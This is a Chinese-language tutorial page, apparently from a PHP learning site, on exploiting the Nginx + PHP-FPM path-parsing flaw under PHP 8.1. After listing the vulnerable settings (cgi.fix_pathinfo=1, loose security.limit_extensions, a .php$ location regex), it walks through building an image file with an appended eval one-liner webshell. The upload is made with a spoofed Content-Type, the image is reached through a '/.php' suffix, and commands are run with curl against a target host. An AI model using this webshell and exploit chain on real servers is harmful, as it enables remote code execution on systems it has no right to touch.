PHP 8.1 本身不引入新上传漏洞,但 Nginx + PHP-FPM 配置不当仍可触发解析漏洞:cgi.fix_pathinfo=1(默认开启)、security.limit_extensions 配置宽松、Nginx 的 .php$ 正则匹配及应用层图片上传校验不严共同构成利用链。

PHP 8.1 本身不引入新的上传漏洞,但在 Nginx + PHP-FPM 组合中,若配置不当,仍可触发经典的 Nginx 解析漏洞(即“图片马解析执行”)。该漏洞与 PHP 版本无关,关键取决于 Nginx 配置、php.ini 和 php-fpm.conf 中的几项设置是否处于危险状态。
以下聚焦实际可操作的利用路径,适用于 PHP 8.1 + Nginx 环境(如 phpstudy v8.1.0.7、vulhub 或自建环境):
Nginx 解析漏洞的触发条件(PHP 8.1 下依然有效)
- ✅ Nginx 配置中存在宽松的
.php$正则匹配(如location ~ \.php$ { ... }) - ✅
php.ini中cgi.fix_pathinfo = 1(PHP 8.1 默认仍为 1) - ✅
php-fpm.conf或 pool 配置中security.limit_extensions未严格限制(如为空或包含.jpg/.png) - ✅ 应用层允许上传图片(如校验仅靠后缀或 Content-Type),且能获取文件保存路径
注意:PHP 8.1 已移除
register_globals、magic_quotes_gpc等旧机制,但cgi.fix_pathinfo仍默认开启,这是漏洞链的核心一环。
PHP 8.5.12下载修复 Core bailout 状态损坏安全问题,以及 BZ2、DOM、PDO、Opcache/JIT 内存与执行错误,改进 Unicode 字素处理、URL 解析、TLS 流状态、信号分发及会话错误处理。
制作并上传“图片马”的实操步骤
- 准备一个合法 PNG/JPG 文件(例如用 Photoshop 或 Python 生成 1×1 像素图)
- 在文件末尾追加 PHP 一句话木马,例如:
<?php @eval($_POST['a']); ?>
(确保前面有 GIF89a 或 PNG 头,不破坏文件头结构)
- 使用 Burp Suite 抓包上传请求,将
Content-Type改为image/png,文件名保留.png(如shell.png) - 成功上传后,记下服务器返回的访问路径,例如:
http://target.com/uploads/20261027_abc123.png
利用解析漏洞执行代码
- 构造畸形 URL 访问该图片:
http://target.com/uploads/20261027_abc123.png/.php
(注意/后必须带.php,中间无空格;部分环境也支持/xxx.php形式) - 若配置存在缺陷,Nginx 会因匹配
\.php$将请求交给 PHP-FPM - PHP-FPM 查找
/uploads/20261027_abc123.png/.php→ 不存在 → 触发cgi.fix_pathinfo=1→ 回退路径 → 实际执行/uploads/20261027_abc123.png - 图片中嵌入的 PHP 代码被解释执行,即可用菜刀、Cknife 或 curl 发送 POST 请求:
curl -X POST "http://target.com/uploads/20261027_abc123.png/.php" --data "a=system('id');"
补充说明:为什么 PHP 8.1 不影响此漏洞
-
cgi.fix_pathinfo在 PHP 8.1 中未被废弃,也未默认关闭,仍控制路径回退行为 -
security.limit_extensions是 PHP-FPM 层的安全开关,若配置为security.limit_extensions = .php .html,则.png不会被解析;但若留空或写成.php .png,风险即存在 - Nginx 的
fastcgi_split_path_info匹配逻辑未变,\.php$仍可被路径末尾的.php触发
不复杂但容易忽略
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!










